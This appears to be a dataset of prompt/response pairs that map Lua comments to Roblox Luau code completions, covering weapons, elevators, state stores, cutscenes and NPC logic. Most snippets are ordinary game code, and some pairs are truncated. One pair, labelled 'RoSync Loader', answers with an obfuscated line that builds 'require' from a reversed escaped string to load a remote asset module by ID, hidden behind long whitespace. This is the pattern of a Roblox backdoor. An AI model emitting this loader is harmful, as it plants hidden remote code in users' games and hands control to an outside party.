		game.ReplicatedStorage.ROBLOX_PistolFireEvent:FireServer(mouse.Hit.p)
	end)

	-- Bind reload event to mobile button and r key
	contextActionService:BindActionToInputTypes("Reload", function()
		game.ReplicatedStorage.ROBLOX_PistolReloadEvent:FireServer()
	end, true, "")

	-- If game uses filtering enabled then need to update server while tool is
	-- held by character.
	if workspace.FilteringEnabled then
		while connection do
			wait()
			game.ReplicatedStorage.ROBLOX_PistolUpdateEvent:FireServer(neck.C0, shoulder.C0)
		end
	end
end


Prompt: -- Disable the Dropper so Adonis doesn't try to load on BindToClose()

Response: script.Disabled = true


Prompt: --	if n == true then n = false

Response:
	--carSeat.Parent.Parent.RW.MR.Motor:remove()
	--end


Prompt:
--[[
	Create a new Store whose state is transformed by the given reducer function.

	Each time an action is dispatched to the store, the new state of the store
	is given by:

		state = reducer(state, action)

	Reducers do not mutate the state object, so the original state is still
	valid.
]]

Response:
function Store.new(reducer, initialState, middlewares, errorReporter)
	assert(typeof(reducer) == "function", "Bad argument #1 to Store.new, expected function.")
	assert(middlewares == nil or typeof(middlewares) == "table", "Bad argument #3 to Store.new, expected nil or table.")
	if middlewares ~= nil then
		for i=1, #middlewares, 1 do
			assert(
				typeof(middlewares[i]) == "function",
				("Expected the middleware ('%s') at index %d to be a function."):format(tostring(middlewares[i]), i)
			)
		end
	end

	local self = {}

	self._errorReporter = errorReporter or rethrowErrorReporter
	self._isDispatching = false
	self._reducer = reducer
	local initAction = {
		type = "@@INIT",
	}
	self._actionLog = { initAction }
	local ok, result = xpcall(function()
		self._state = reducer(initialState, initAction)
	end, tracebackReporter)
	if not ok then
		self._errorReporter.reportReducerError(initialState, initAction, {
			message = "Caught error in reducer with init",
			thrownValue = result,
		})
		self._state = initialState
	end
	self._lastState = self._state

	self._mutatedSinceFlush = false
	self._connections = {}

	self.changed = Signal.new(self)

	setmetatable(self, Store)

	local connection = self._flushEvent:Connect(function()
		self:flush()
	end)
	table.insert(self._connections, connection)

	if middlewares then
		local unboundDispatch = self.dispatch
		local dispatch = function(...)
			return unboundDispatch(self, ...)
		end

		for i = #middlewares, 1, -1 do
			local middleware = middlewares[i]
			dispatch = middleware(dispatch, self)
		end

		self.dispatch = function(_self, ...)
			return dispatch(...)
		end
	end

	return self
end


Prompt:
-- -- -- -- -- -- --
--DIRECTION SCROLL--
-- -- -- -- -- -- --

Response:
Lift:WaitForChild("Velocity").Changed:connect(function(vel)
    if vel > 0 then
		This.Display.ARW1.U1.BrickColor = BrickColor.new("Daisy orange")
		This.Display.ARW1.U2.BrickColor = BrickColor.new("Daisy orange")
		This.Display.ARW1.U3.BrickColor = BrickColor.new("Daisy orange")
		This.Display.ARW1.D1.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D2.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D3.BrickColor = BrickColor.new("Really black")
    elseif vel < 0 then
		This.Display.ARW1.U1.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.U2.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.U3.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D1.BrickColor = BrickColor.new("Daisy orange")
		This.Display.ARW1.D2.BrickColor = BrickColor.new("Daisy orange")
		This.Display.ARW1.D3.BrickColor = BrickColor.new("Daisy orange")
	else
		This.Display.ARW1.U1.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.U2.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.U3.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D1.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D2.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D3.BrickColor = BrickColor.new("Really black")
    end
end)


Prompt: --// Damage Settings

Response:
	BaseDamage = 22;
	LimbDamage = 18;
	ArmorDamage = 15;
	HeadDamage = 1000;


Prompt: -- Load tool completely

Response:
local Indicator = Tool:WaitForChild 'Loaded';
while not Indicator.Value do
	Indicator.Changed:Wait();
end;


Prompt:
--[[
	Returns a snapshot of this component given the current props and state. Must
	be overridden by consumers of Roact and should be a pure function with
	regards to props and state.

	TODO (#199): Accept props and state as arguments.
]]

Response:
function Component:render()
	local internalData = self[InternalData]

	local message = componentMissingRenderMessage:format(
		tostring(internalData.componentClass)
	)

	error(message, 0)
end


Prompt: --All sounds are referenced by this ID

Response:
local SFX = {
	Died = 0;
	Running = 1;
	Swimming = 2;
	Climbing = 3,
	Jumping = 4;
	GettingUp = 5;
	FreeFalling = 6;
	FallingDown = 7;
	Landing = 8;
	Splash = 9;
}

local useUpdatedLocalSoundFlag = UserSettings():IsUserFeatureEnabled("UserFixCharacterSoundIssues")

local Humanoid = nil
local Head = nil


Prompt: -- constants

Response:
return function(character)
	local rootPart	= character.HumanoidRootPart

	local attachment	= Instance.new("Attachment")
		attachment.CFrame	= CFrame.new(0, 0.8, 0)
		attachment.Parent	= rootPart

	local emitter1	= script.OutlineEmitter:Clone()
		emitter1.Parent	= attachment

	local emitter2	= script.GlowEmitter:Clone()
		emitter2.Parent	= attachment

	local info	= TweenInfo.new(5, Enum.EasingStyle.Quad, Enum.EasingDirection.In)

	local tween1	= TweenService:Create(emitter1, info, {Rate = 0})
	local tween2	= TweenService:Create(emitter2, info, {Rate = 0})

	tween1:Play()
	tween2:Play()

	wait(5)

	emitter1.Enabled	= false
	emitter2.Enabled	= false

	Debris:AddItem(attachment, 0.5)
end


Prompt: --//# Terrain Setup

Response:
function SetupTerrain()
	local Terrain = game.Workspace.Terrain;
	Terrain.WaterTransparency = 1
	Terrain.WaterReflectance = 1
end

if Enabled then
	if TerrainPlusEnabled then
		SetupTerrain()
		warn("Loaded Better Terrain")
	end
	if BetterLightingEnabled then
		SetupLighting_()
		warn("Loaded Lighting+")
	end
elseif not Enabled then
	error("Script Disabled.")
	return false
end


Prompt: --Default--

Response:
local function AttachParticleControl(source_part)

	local function Start()

	end

	local function Update()

	end

	local function Stop()

	end

	return {Start = Start, Update = Update, Stop = Stop}
end

return AttachParticleControl


Prompt: -- Emporerj

Response:
wait(1)
local Config = script.Parent:WaitForChild("Configuration")
function GetGlowParts()
	local GlowParts = {}
	for i,v in pairs(workspace:GetChildren())do
		if v.Name == "GlowPart" then
			table.insert(GlowParts,v)
		end
	end
	return GlowParts
end

function MakeGlow(Part)
	if #GetGlowParts()<Config.MaxParts.Value then
		local GlowPart = Instance.new("Part")
		GlowPart.Name = "GlowPart"
		GlowPart.Size = Vector3.new(1,1,1)
		GlowPart.CanCollide = false
		GlowPart.Anchored = true
		GlowPart.Transparency = 1
		local Glow = Instance.new("PointLight",GlowPart)
		Glow.Brightness = 5
		Glow.Range = 8
		Glow.Color = Config.GlowColor.Value
		GlowPart.CFrame = CFrame.new(Part.Position.X,script.Parent.Position.Y+script.Parent.Size.Y/2,Part.Position.Z)
		GlowPart.Parent = workspace
		game:GetService("Debris"):AddItem(GlowPart,0.3)
		for i=8,1,-1 do
			Glow.Range = i
			wait(0.1)
		end
	end
end

script.Parent.Touched:connect(function(Hit)
	local humanoid = Hit.Parent:FindFirstChildWhichIsA("Humanoid")
	if humanoid then
		MakeGlow(humanoid.RootPart)
	elseif Config.PlayersOnly.Value == false then
		MakeGlow(Hit)
	end
end)


Prompt:
--	====================
--	BASIC
--	A basic settings for the gun
--	====================

Response:
		Auto = false;
		MuzzleOffset = Vector3.new(0, 0.60, -4.25);
		BaseDamage = 50;
		FireRate = 0.1; --In second
		ReloadTime = 1; --In second
		AmmoPerClip = 50; --Put "math.huge" to make this gun has infinite ammo and never reload
		Spread = 0.25; --In degree
		HeadshotEnabled = true; --Enable the gun to do extra damage on headshot
		HeadshotDamageMultiplier = 2;
		MouseIconID = "68308747";
		HitSoundIDs = {186809061,186809249,186809250,186809252};
		IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate
		IdleAnimationSpeed = 1;
		FireAnimationID = nil; --Set to "nil" if you don't want to animate
		FireAnimationSpeed = 6;
		ReloadAnimationID = nil; --Set to "nil" if you don't want to animate
		ReloadAnimationSpeed = 1;


Prompt: -- custom font class (this is what the player interacts with)

Response:
local customFont = {};

function customFont.new(fontName, class, isButton)
	local self = event.new {};

	local exists = not (type(class) == "string");
	local child = exists and class or instance(class);
	local fontModule = fonts:FindFirstChild(fontName);
	--local folder = instance("Folder", child);

	local settings = settings.new(require(fontModule), self, child);
	settings:preload();

	local events = {};
	local properties = {};
	local propertyobjects = {};
	local drawncharacters = {};

	self.FontName = fontName;
	self.Style = settings.style;
	self.TextTransparency = child.TextTransparency;
	self.TextStrokeTransparency = child.TextStrokeTransparency;
	self.BackgroundTransparency = child.BackgroundTransparency;
	self.TextFits = false;

	-- create the physical representation of the custom properties
	for name, _ in next, customProperties do
		local property = self[name];
		local t = type(property);
		local className = upper(sub(t, 1, 1)) .. sub(t, 2) .. "Value";
		local physicalProperty = Instance.new(className, child);

		physicalProperty.Name = name;
		physicalProperty.Value = property;

		physicalProperty.Changed:connect(function(newValue)
			self[name] = newValue;
		end);

		propertyobjects[physicalProperty.Name] = physicalProperty;
		properties[physicalProperty] = true;
	end;

	local background = newBackground(child, isButton and "TextButton");
	defaultHide(child);

	-- common function

	local function drawText()
		background:ClearAllChildren();
		drawncharacters = drawLines(child.Text, settings, background);
	end;

	-- custom events

	self:connect("FontName", function(value) drawText(); end);
	self:connect("TextStrokeTransparency", function(value) drawText(); end);

	self:connect("BackgroundTransparency", function(value)
		background.BackgroundTransparency = value;
	end);

	self:connect("Style", function(value)
		settings.style = value;
		propertyobjects["Style"].Value = value;
		drawText();
	end);

	self:connect("TextTransparency", function(value)
		for i = 1, #drawncharacters do
			drawncharacters[i].ImageTransparency = value;
		end;
	end);

	self:connect("FontName", function(value)
		local fontModule = fonts:FindFirstChild(value);
		settings = settings.new(require(fontModule), self, child);
		settings:preload();
		propertyobjects["FontName"].Value = value;
		if (not child.TextScaled) then
			settings.size = child.TextSize;
		end;
		settings.style = self.Style;
		drawText();
	end);

	-- real events

	insert(events, child.Changed:connect(function(property)
		if (overwrites[property]) then
			if (child[property] ~= 2) then
				self[property] = child[property]
			end;
			child[property] = 2;
		elseif (property == "TextSize") then
			settings.size = child[property];
			drawText();
		elseif (property == "TextColor3") then
			for _, sprite in next, drawncharacters do
				sprite.ImageColor3 = child[property];
			end;
		elseif (property == "ZIndex") then
			background.ZIndex = child[property];
			for _, sprite in next, drawncharacters do
				sprite.ZIndex = child[property];
			end;
		elseif (property == "Text") then
			drawText();
		elseif (redraws[property]) then
			if (property == "TextScaled" and not child[property]) then
				settings.size = child.TextSize;
			end;
			drawText();
		elseif (not match(property, "Text") and not noReplicate[property]) then
			pcall(function() background[property] = child[property]; end);
		end;
	end));

	if (child:IsA("TextBox")) then
		insert(events, child.Focused:connect(function()
			if (child.ClearTextOnFocus) then
				child.Text = "";
			end;
		end));
	end;

	-- methods

	function self:Revert()
		for _, property in next, propertyobjects do property:Destroy(); end;
		for _, event in next, events do event:disconnect(); end;
		background:Destroy();
		child.TextTransparency = self.TextTransparency;
		child.BackgroundTransparency = self.BackgroundTransparency;
		self, properties, propertyobjects, events = nil, nil, nil, nil;
		return child;
	end;

	function self:GetChildren()
		local children = {};
		for _, kid in next, child:GetChildren() do
			if (kid ~= background and not properties[kid]) then
				insert(children, kid);
			end;
		end;
		return children;
	end;

	function self:ClearAllChildren()
		for _, kid in next, child:GetChildren() do
			if (kid ~= background and not properties[kid]) then
				kid:Destroy();
			end;
		end;
	end;

	function self:Destroy()
		self:Revert():Destroy();
	end;

	-- return
	drawText();
	return wrapper(child, self);
end;


Prompt: ----- RUN MERRY-GO-ROUND -----

Response:
while wait() do
	if #occupants > 0 then
		velocity.AngularVelocity = velocity.AngularVelocity + Vector3.new(0, 0.2, 0) -- speeding up
		wait(0.1)
		for i = 1, #occupants do -- finding occupants to possibly fling :P
			if occupants[i] then
				local randNum = 1
				if math.ceil(occupants[i].HumanoidRootPart.Velocity.Magnitude) > 1 then
					randNum = math.random(1, math.ceil(occupants[i].HumanoidRootPart.Velocity.Magnitude))
				end
				if randNum >= 40 then
					flingPlayer(occupants[i])
					table.remove(occupants, i)
				end
			end
		end
	elseif velocity.AngularVelocity.Y > 0 then -- slowing down
		velocity.AngularVelocity = velocity.AngularVelocity - Vector3.new(0, math.min(0.3, velocity.AngularVelocity.Y), 0)
	end
end


Prompt:
--		Play "ShotgunClipinAnimation" + Play "ShotgunClipin" Audio
--		>>>
--		Wait "ShellClipinSpeed" second
--		>>>
--		Repeat "AmmoPerClip" - "Current Ammo" times
--		>>>
--		Play "ReloadAnimation" + Play "ReloadSound"
--		Wait "ReloadTime"


Prompt: --ROBLOX wants it this way

Response:
local TargetPart
for _,k in ipairs (script.Parent:GetChildren()) do
	if k:IsA("BasePart") then
		TargetPart = k
		break
	end
end

while workspace:IsAncestorOf(script) do
	if TargetPart:CanSetNetworkOwnership() then--not using this means a crash when the brick is anchored
		TargetPart:SetNetworkOwner(nil)
	end
	wait(3)
end


Prompt:
--				if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then
--					model.Humanoid.Jump = true
--				end

Response:
			end

		end
	end
	PursueState.Init = function()
	end

	-- AttackState: Keep moving towards target and play attack animation.
	local AttackState = StateMachine.NewState()
	AttackState.Name = "Attack"
	local lastAttack = os.time()
	local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)
	AttackState.Action = function()
		model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
		local now = os.time()
		if now - lastAttack > 3 then
			lastAttack = now
			attackTrack:Play()
		end
	end

	-- HuntState: Can't see target but NPC will move to target's last known location.
	-- Will eventually get bored and switch state.
	local HuntState = StateMachine.NewState()
	HuntState.Name = "Hunt"
	HuntState.Action = function()
		if ZombieTargetLastLocation then
			PathLib:MoveToTarget(model, ZombieTargetLastLocation)
		end
	end
	HuntState.Init = function()
		lastBored = os.time() + configs["BoredomDuration"] / 2
	end

	-- CONDITION DEFINITIONS

	-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and
	-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed
	-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)
	local CanSeeTarget = StateMachine.NewCondition()
	CanSeeTarget.Name = "CanSeeTarget"
	CanSeeTarget.Evaluate = function()
		if model then
			-- Get list of all nearby Zombies and non-Zombie humanoids
			-- Zombie list is used to ignore zombies during later raycast
			local humanoids = HumanoidList:GetCurrent()
			local zombies = {}
			local characters = {}
			for _, object in pairs(humanoids) do
				if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then
					local torso = object.Parent:FindFirstChild("HumanoidRootPart")
					if torso then
						local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
						if distance <= configs["AggroRange"] then
							if object.Parent.Name == "Drooling Zombie" then
								table.insert(zombies, object.Parent)
							else
								table.insert(characters, object.Parent)
							end
						end
					end
				end
			end

			local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"])
			if target then
				ZombieTarget = target
				return true
			end


Prompt: --Disconnects the events if the tool is unparented.

Response:
local function DisconnectEvents()
	if not Tool.Parent then
		for _,Event in pairs(EventsToDisconnect) do
			Event:Disconnect()
		end
		EventsToDisconnect = {}
	end
end


Response:
local tweenService = game:GetService("TweenService")
This = script.Parent
Lift = This.Parent.Parent.Parent
CustomLabel = require(Lift.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

for i,v in pairs(Lift.Car:WaitForChild("Welds"):GetChildren()) do
	if v.Part1 == script.Parent.Back then v:Destroy() end
end
local weld = Instance.new("ManualWeld", This.Button)
weld.C0 = Lift.Car.Platform.CFrame:inverse() * This.Back.CFrame
weld.Part0 = Lift.Car.Platform
weld.Part1 = This.Back
click = false

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	if string.len(SF) == 1 then
		This.Label.DIG1.Mesh.Offset = Vector3.new(0, 0, 0)
		This.Label.DIG2.Mesh.Offset = Vector3.new(0.03, 0, 0)
	else
		This.Label.DIG1.Mesh.Offset = Vector3.new(0, 0, 0)
		This.Label.DIG2.Mesh.Offset = Vector3.new(0, 0, 0)
	end
	SetLabel(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
	SetLabel(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end

function SetLabel(ID,CHAR)
	if This.Label:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do
			if CHAR == "1" or CHAR == "2" or CHAR == "3" or CHAR == "4" or CHAR == "5" or CHAR == "6" or CHAR == "7" or CHAR == "8" or CHAR == "9" or CHAR == "0" then
				This.Label["DIG"..ID].Mesh.Scale = Vector3.new(0.02, 0.11, 0.023)
			elseif CHAR == "+" or CHAR == "-" or CHAR == "#" or CHAR == "." or CHAR == "*" then
				This.Label["DIG"..ID].Mesh.Scale = Vector3.new(0.02, 0.07, 0.023)
			else
				This.Label["DIG"..ID].Mesh.Scale = Vector3.new(0.02, 0.16, 0.03)
			end
			This.Label["DIG"..ID].Mesh.MeshId = "rbxassetid://"..l
		end
	end
end

ChangeFloor(This.Name)

for x,x in pairs(This.Button:GetChildren()) do
	if x:IsA("SurfaceGui") and x.Name == ("Button") then
		x.Button.MouseButton1Click:connect(function()
			if click == false then
				click = true
				tweenService:Create(weld,TweenInfo.new(0.1),{
					["C1"] = weld.C1*CFrame.new(0.002, 0, 0),
				}):Play()
				wait(0.1)
				tweenService:Create(weld,TweenInfo.new(0.1),{
					["C1"] = weld.C1*CFrame.new(-0.002, 0, 0),
				}):Play()
				wait(0.1)
				click = false
			end
		end)
	end
end


Prompt: --Made by Stickmasterluke

Response:
sp=script.Parent

function updateicon()
	if themouse~=nil then
		if sp.Enabled then
			themouse.Icon="rbxasset://textures\\GunCursor.png"
		else
			themouse.Icon="rbxasset://textures\\GunWaitCursor.png"
		end
	end
end

function onEquipped(mouse)
	if mouse~=nil then
		themouse=mouse
	end
	updateicon()
end

sp.Equipped:connect(onEquipped)
sp.Changed:connect(updateicon)


Prompt:
--[[

		1) Put a part to the location you want to lock
		2) Change the lock to the one you want: QSI/QDF/QAC

		VALUES

		AccessType =>
			Who has access to: QSI/QDF/QAC
		Actions =>
			1 (or if not defined) => Kills the player
			2 => Teleports the player into a Part named "TP" and throws a notification (Part TP must be inside the Action Value)
				=> If Inside Action there is a StringValue by the name of "Message" the notification GUI will send the text from it, otherwise it will send "You don't have access to this area." If you want to disable the message, set it to "OFF"

		Note: Make sure to NoCol and anchor the parts lol

		Thanks byeeee

]]

Response:
--

require(path.to.module)(script.Parent)


Prompt: --[[ Last synced 2/17/2021 07:27                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: -- Credit: https://blog.elttob.uk/2022/11/07/sets-efficient-topological-search.html

Response:
local function updateAll(root: PubTypes.Dependency)
	local counters: {[Descendant]: number} = {}
	local flags: {[Descendant]: boolean} = {}
	local queue: {Descendant} = {}
	local queueSize = 0
	local queuePos = 1

	for object in root.dependentSet do
		queueSize += 1
		queue[queueSize] = object
		flags[object] = true
	end

	-- Pass 1: counting up
	while queuePos <= queueSize do
		local next = queue[queuePos]
		local counter = counters[next]
		counters[next] = if counter == nil then 1 else counter + 1
		if (next :: any).dependentSet ~= nil then
			for object in (next :: any).dependentSet do
				queueSize += 1
				queue[queueSize] = object
			end
		end
		queuePos += 1
	end

	-- Pass 2: counting down + processing
	queuePos = 1
	while queuePos <= queueSize do
		local next = queue[queuePos]
		local counter = counters[next] - 1
		counters[next] = counter
		if counter == 0 and flags[next] and next:update() and (next :: any).dependentSet ~= nil then
			for object in (next :: any).dependentSet do
				flags[object] = true
			end
		end
		queuePos += 1
	end
end

return updateAll


Prompt:
-- This function merges the Packages folder from a DevModule into a shared
-- location. Until we have an improved package implementation, we need to
-- manually dedupe our libraries to cut down on bloat

Response:
local function dedupePackages(packages: Instance)
	local packageStorage = getPackageStorage()

	for _, package in ipairs(packages:GetChildren()) do
		if package ~= script and package:IsA("ModuleScript") then
			local version = getPackageVersion(package)

			local existingVersion: ModuleScript
			for _, otherPackage in ipairs(packageStorage:GetChildren()) do
				if otherPackage.Name:match(("^%s_"):format(package.Name)) and otherPackage:IsA("ModuleScript") then
					if version == getPackageVersion(otherPackage) then
						existingVersion = otherPackage
						break
					end
				end
			end

			if not existingVersion then
				local clone = package:Clone() :: ModuleScript
				clone.Parent = packageStorage
				clone.Name = ("%s_%s"):format(clone.Name, version)
				existingVersion = clone
			end

			-- Link the package with the existing version (which was either
			-- there previously, or is the one we just generated)
			local packageRef = constants.PACKAGE_REF:Clone()
			packageRef.Name = package.Name

			local packageObject = packageRef:FindFirstChild("package")
			if packageObject and packageObject:IsA("ObjectValue") then
				packageObject.Value = existingVersion
			end
			packageRef.Parent = package.Parent

			package:Destroy()

			log("link", ("%s <-> %s"):format(package.Name, existingVersion:GetFullName()))
		end
	end
end


Prompt: -- Start of Destroyed Animation

Response:
	-- Start of Flag Popping Animation
	Vehicle.Turret.Rod.Transparency = 0
	Vehicle.Turret.Rod.Hatch:Play()
	wait(1)

	Vehicle.Turret.Flag.Transparency = 0
	Vehicle.Turret.Flag.Pop:Play()
	Vehicle.Turret.Flag.Pop2:Play()

	wait()

	Vehicle.Turret.Flag.Pop.Volume = 0
	Vehicle.Turret.Flag.Pop2.Volume = 0
	Vehicle.Turret.Rod.Hatch.Volume = 0

	-- End of Flag Popping

	-- Start of Explosion Thingy
	local Explo = Instance.new ("Sound")
	Explo.SoundId = "rbxassetid://151776180"
	Explo.PlayOnRemove = false
	Explo.Parent = Engine
	Explo:play()

	wait()
	local Explosion = Instance.new("Explosion")
	Explosion.BlastRadius = 5
	Explosion.BlastPressure = 1
	Explosion.Parent = game.Workspace
	Explosion.Position = Engine.Position
	Explosion.DestroyJointRadiusPercent = 0

	-- 	End of Explosion Thingy

	-- Deletion of Velocities

	Engine.Parent.VehicleSeat.Throttle = Engine.Parent.VehicleSeat.Throttle
	Engine.Parent.VehicleSeat.MaxSpeed = Engine.Parent.VehicleSeat.MaxSpeed
	Engine.Parent.VehicleSeat.Steer = Engine.Parent.VehicleSeat.Steer

	Engine.BodyAngularVelocity:Destroy()
	Engine.BodyGyro:Destroy()
	Engine.BodyVelocity:Destroy()

	print("BodyAngularVelocity,BodyGyro,BodyVelocity Deleted, Enemy Tank Disabled")

	-- Generation of Fire

	local fi = Instance.new("Fire")
	fi.Heat = 25
	fi.Size = 10
	fi.Parent = Engine

	local Smokey = script.DisabledVehicleSmoke:Clone()
	Smokey.Parent = Engine
	Smokey.Name = "DSmoke"
	Smokey.Enabled = true
	print("End of DestroyScript")
	end


Prompt:
--[[
	Returns the enums.Device of the DeviceInputTypePattern that matches the
	`inputType`.

	This function is called when the LocalPlayer's LastInputType has changed,
	thus possibly requiring an update to the enums.Device
]]

Response:
local MerchBooth = script:FindFirstAncestor("MerchBooth")

local constants = require(MerchBooth.constants)
local enums = require(MerchBooth.enums)


Prompt: -- Update the cutscene every render frame

Response:
RunService.RenderStepped:Connect(function(Delta)
	Demo:Update(Delta)
end)

if PlayOnPlayerJoin and PlayOnPlayerJoin.Value then
	-- Play the cutscene
	PlayCutscene()
end

if PlayOnPartTouch then
	local part = script.PlayOnPartTouch.Value
	if part and part:IsA("BasePart") then
		part.Touched:Connect(function(hit)
			if hit.Parent == Player.Character then
				PlayCutscene()
			end
		end)
	end
	PlayOnPartTouch:Destroy()
end

if PlayOnEventFire then
	local e = PlayOnEventFire.Value
	if e and e:IsA("BindableEvent") then
		e.Event:Connect(PlayCutscene)
	end
	PlayOnEventFire:Destroy()
end

if PlayOnRemoteEventFire then
	local e = PlayOnRemoteEventFire.Value
	if e and e:IsA("RemoteEvent") then
		e.OnClientEvent:Connect(PlayCutscene)
	end
	PlayOnRemoteEventFire:Destroy()
end

if StopOnRemoteEventFire then
	local e = StopOnRemoteEventFire.Value
	if e and e:IsA("RemoteEvent") then
		e.OnClientEvent:Connect(function()
			Demo:Stop()
		end)
	end
	StopOnRemoteEventFire:Destroy()
end

if StopOnRemoteEventFire then
	local e = StopOnRemoteEventFire.Value
	if e and e:IsA("RemoteEvent") then
		e.OnClientEvent:Connect(function()
			Demo:Stop()
		end)
	end
	StopOnRemoteEventFire:Destroy()
end

if CutsceneGui then
	CutsceneGui.Parent = Player:WaitForChild("PlayerGui")
	local SkipCutsceneButton = CutsceneGui:FindFirstChild("SkipCutscene", true)
	local PlayCutsceneButton = CutsceneGui:FindFirstChild("PlayCutscene", true)

	if SkipCutsceneButton and SkipCutsceneButton:IsA("GuiButton") then
		SkipCutsceneButton.MouseButton1Click:Connect(function()
			Demo:Stop()
		end)
	end

	if PlayCutsceneButton and PlayCutsceneButton:IsA("GuiButton") then
		PlayCutsceneButton.MouseButton1Click:Connect(function()
			PlayCutscene()
		end)
	end
	Demo.EStop.Event:Connect(function()
		CutsceneGui.Enabled = false
	end)
end

local Character = Player.Character or Player.CharacterAdded:Wait()

if PlayOnCharacterAdded and PlayOnCharacterAdded.Value then
	PlayCutscene()
end
if PlayOnCharacterDied and PlayOnCharacterDied.Value then
	local Humanoid = Character:WaitForChild("Humanoid")
	Character:WaitForChild("Humanoid").Died:Connect(function()
		PlayCutscene()
	end)
end
PlayOnCharacterAdded:Destroy()


Prompt:
--[[*
 * Performs equality by iterating through keys on an object and returning false
 * when any key has values which are not strictly equal between the arguments.
 * Returns true when the values of all keys are strictly equal.
]]

Response:
local function shallowEqual(objA, objB)
	if is(objA, objB) then
		return true
	end

	if
		typeof(objA) ~= "table"
		or objA == nil
		or typeof(objB) ~= "table"
		or objB == nil
	then
		return false
	end

	-- deviation: `Object.keys` does not have an equivalent in Lua, so we
	-- iterate through each table instead
	for key, value in objA do
		if not is(objB[key], value) then
			return false
		end
	end

	for key, value in objB do
		if not is(objA[key], value) then
			return false
		end
	end

	return true
end

return shallowEqual


Prompt:
--[[
	BaseCharacterController - Abstract base class for character controllers, not intended to be
	directly instantiated.

	2018 PlayerScripts Update - AllYourBlox
--]]

Response: local ZERO_VECTOR3 = Vector3.new(0,0,0)


Prompt: --Tuning tips: If your car tends to oversteer, increase the ratio of friction towards the front (E.G. .65 front .6 rear), do the opposite in case of understeer


Prompt: -- A state object which follows another state object using spring simulation.

Response:
export type Spring<T> = StateObject<T> & Dependent & {
	-- kind: "Spring" (add this when Luau supports singleton types)
	-- Uncomment when ENABLE_PARAM_SETTERS is enabled
	-- setPosition: (Spring<T>, newValue: Animatable) -> (),
	-- setVelocity: (Spring<T>, newValue: Animatable) -> (),
	-- addVelocity: (Spring<T>, deltaValue: Animatable) -> ()
}


Prompt: -- Connect 'MoveToFinished' event to the 'onWaypointReached' function

Response: human.MoveToFinished:Connect(onWaypointReached)


Prompt: -------- OMG HAX

Response:
r = game:service("RunService")

local damage = 5

local slash_damage = 12

sword = script.Parent.Handle
Tool = script.Parent

local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7

local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1

function isTurbo(character)
	return character:FindFirstChild("PirateHat") ~= nil
end

function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				tagHumanoid(humanoid, vPlayer)
				if (isTurbo(vCharacter) == true) then
					humanoid:TakeDamage(damage * 1.5)
				else
					humanoid:TakeDamage(damage)
				end

				wait(1)
				untagHumanoid(humanoid)
			end
		end

	end
end

function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

Tool.Enabled = true

function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	attack()

	wait(.5)

	Tool.Enabled = true
end

function onEquipped()
	UnsheathSound:play()
end

script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)

connection = sword.Touched:connect(blow)


Prompt: --//both of you, dance like you want to win!

Response:
local SSS = game:GetService("ServerScriptService")
local TS = game:GetService("TweenService")
local Global = require(SSS.Server.Scripts.Server.CoreSystems.Modules.Global)

local Deb = false
local Status = false

local function Toggle()
	if not Deb then
		if not Status then --open
